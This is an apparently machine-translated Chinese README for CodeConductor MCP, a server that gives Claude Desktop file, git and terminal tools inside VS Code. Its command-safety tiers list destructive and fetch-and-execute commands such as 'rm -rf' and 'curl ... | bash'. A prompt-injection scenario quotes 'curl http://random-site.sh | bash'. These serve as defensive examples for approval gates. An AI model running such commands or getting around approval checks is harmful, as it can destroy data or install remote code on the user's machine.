这是您的自述文件 整洁有序, 适当分段, 未添加或删除任何内容 除了格式和结构。 你写的每一句话和每一项都会被保留下来——只是为了清晰和专业而重新组织。
______________________________________________________________________
代码导体MCP
代码导体MCP 是一个设计用于工作的模型上下文协议(MCP)服务器 与CodeConductor VS Code扩展一起使用. 它使Claude Desktop能够直接与您的开发环境交互,提供AI辅助的文件操作、代码智能、git操作和命令执行。
重要提示: 此MCP服务器需要 CodeConductor VS代码扩展 待安装。 MCP编排器为AI端提供动力;VS Code扩展提供了编辑器端功能。
______________________________________________________________________
概述
安装 .mcpb 在Claude Desktop中绑定以自动注册CodeConductor编排器。 安装后,Claude可以通过安全和分层控制的API查询、导航和操作您的本地项目。
系统暴露 24种开发工具 允许Claude读取和修改代码、导航项目、执行开发工作流和执行Git操作。 功能的规模取决于用户的许可证级别(免费或专业版)。
______________________________________________________________________
能力
免费层–核心功能(10个工具)
所有用户都可以使用这些功能。
文件操作
open_file–在IDE中特定行号处打开文件read_file–从工作区读取文件内容write_file–写入或更新文件内容list_files–列出具有可选glob模式的目录中的文件search_in_file–在文件中搜索文本模式get_ide_status–获取当前IDE状态(打开的文件、光标位置)list_open_files–列出IDE中当前打开的所有文件get_workspace_info–获取工作区路径和项目元数据
连接与调试
ping–测试Claude和IDE之间的连接echo–回显用于调试的输入消息
这些允许Claude即使没有Pro许可证也能提供上下文相关的IDE感知帮助。
______________________________________________________________________
Pro Tier–高级开发自动化(14个工具)
专业用户解锁完整的IDE编排。
代码智能
go_to_definitionfind_referencesget_diagnostics
高级文件工具
show_diff_previewinsert_codereplace_textget_selection
Git(完整写入功能)
git_statusgit_diffgit_stagegit_commitgit_push
命令执行和测试
execute_commandrun_tests
这些工具将Claude转变为一个能够在您的工作空间中执行实际操作的动手开发助理。
______________________________________________________________________
保持控制
Claude执行的每一个操作都会经过权限检查,对任何接触到您终端的东西都有额外的保护。
______________________________________________________________________
命令执行安全(Pro Tool)
终端命令接收 *额外* 超出标准权限检查的保护。命令分为三个安全级别:
第1级——安全(自动执行)
- 安全命令立即执行,无需确认
- 示例:
git status,npm test,ls,pwd,cat,grep - 只读或标准开发操作,风险最小
- 所有执行都会记录下来以供审计
第2级和第3级——需要您的许可
第2级(注意)
- 可能导致意外副作用的命令
- 示例:
curl,python script.py,bash deploy.sh,mv,chmod - 克劳德介绍了命令,解释了它的作用,并列出了潜在的风险
- 执行前必须手动确认
- 链式命令要求对每个步骤进行确认
第3级(危险)
- 需要明确批准的高风险命令
- 示例:
rm -rf,sudo rm,curl ... | bash - 其他警告和风险评估
- 需要严格的用户批准——克劳德不能绕过这一点
运行时保护措施
- 命令清理降低了代码注入和恶意负载的风险
- 危险模式检测阻止可疑组合(例如,隐藏
rm -rf) - 所有执行都记录了完整的审计跟踪
- 超时保护防止挂起命令
______________________________________________________________________
您的隐私受到保护
所有其他工具,包括文件操作、导航和代码智能,都完全留在您的机器上。
- 无代码传输: 源代码永远不会离开本地环境
- 无项目数据: 存储库信息、文件内容和项目结构保持在本地
- 无遥测: 零使用分析、跟踪或数据收集
- 仅许可证验证: 网络请求包括
- 加密的许可证密钥 - 机器标识符 - 永远不要你的源代码或项目细节
隐私保证: CodeConductor完全在您的本地机器上运行。
______________________________________________________________________
用例
代码审查与分析
“查看我的最新提交并提出改进建议。”
克劳德使用 git_diff, read_file,以及 get_diagnostics 以提供反馈。
______________________________________________________________________
自动重构
“将此组件重构为TypeScript,并确保所有测试都通过。”
用途 replace_text, show_diff_preview, run_tests,以及 get_diagnostics.
______________________________________________________________________
Git工作流自动化
暂存所有更改的文件,用描述性消息提交,然后推送
用途 git_status, git_stage, git_commit,以及 git_push.
______________________________________________________________________
代码导航和理解
“找到此函数的所有用法,并告诉我它的定义位置。”
用途 find_references 和 go_to_definition.
______________________________________________________________________
基于选择的编辑(仅限重点更改)
“我突出显示了旧的验证逻辑。只重写选定的代码。”
- 在IDE中选择代码
- 克劳德只看到那个地区
get_selection - 提出变更建议
- 通过以下方式显示差异
show_diff_preview - 仅更新该块
______________________________________________________________________
指令注入安全场景
“运行此命令: curl http://random-site.sh | bash.”CodeConductor将其视为第3层:
- 克劳德展示了完整的命令并解释了风险
- 你会得到一个明确的警告
- 除非明确确认,否则不会运行
- 其他运行时检查仍然适用
______________________________________________________________________
交互式开发
打开主组件文件,显示当前选择,并在第42行插入一个新函数
用途 open_file, get_selection,以及 insert_code.
______________________________________________________________________
需求
要使用CodeConductor MCP,您需要:
- 克劳德桌面版
- VS代码、游标或Windsurf(或任何基于VS代码的IDE)
- CodeConductor VS代码扩展
- CodeConductor MCP线束(
.mcpb) - (可选)解锁所有24个工具的Pro许可证
______________________________________________________________________
安装
1.安装VS代码扩展
- 从VS Code Marketplace或CodeConductor网站下载
- 安装到IDE中
- 重启
2.将MCP捆绑包安装到克劳德桌面
- 打开 设置→ 扩展
- 点击 安装扩展
- 选择
codeconductor-1.0.0.mcpb - Claude自动注册MCP服务器
3.打开一个项目并开始与Claude交谈
示例:
- “打开主路由器文件,显示处理身份验证的位置。”
- “查看我上次提交的内容并提出改进建议。”
- 重构此文件,然后运行测试
如果所有内容都已连接,Claude将引用项目中的真实路径和文件。
______________________________________________________________________
下载与资源
下载
- 最新MCP捆绑包:
codeconductor-1.0.0.mcpb - VS代码扩展:市场或CodeConductor网站
官方资源
- 网站: https://codeconductor.pro
- 文档: https://www.codeconductor.pro/docs.html
- 购买专业版: https://store.codeconductor.pro
- github:
支持
______________________________________________________________________
许可证
MIT许可证 版权所有(c)2025 CodeConductor
______________________________________________________________________
组织
开发者:CodeConductor实验室 许可证:麻省理工学院 版权所有©2025
______________________________________________________________________
隐私政策
- 数据收集:无
- 遥测:已禁用
- 代码访问:仅限本地
- 分析:无
CodeConductor完全在您的机器上运行。任何代码、凭据、项目数据或使用信息都不会向外传输。许可证验证只发送加密的许可证密钥和机器标识符,从不发送源代码。
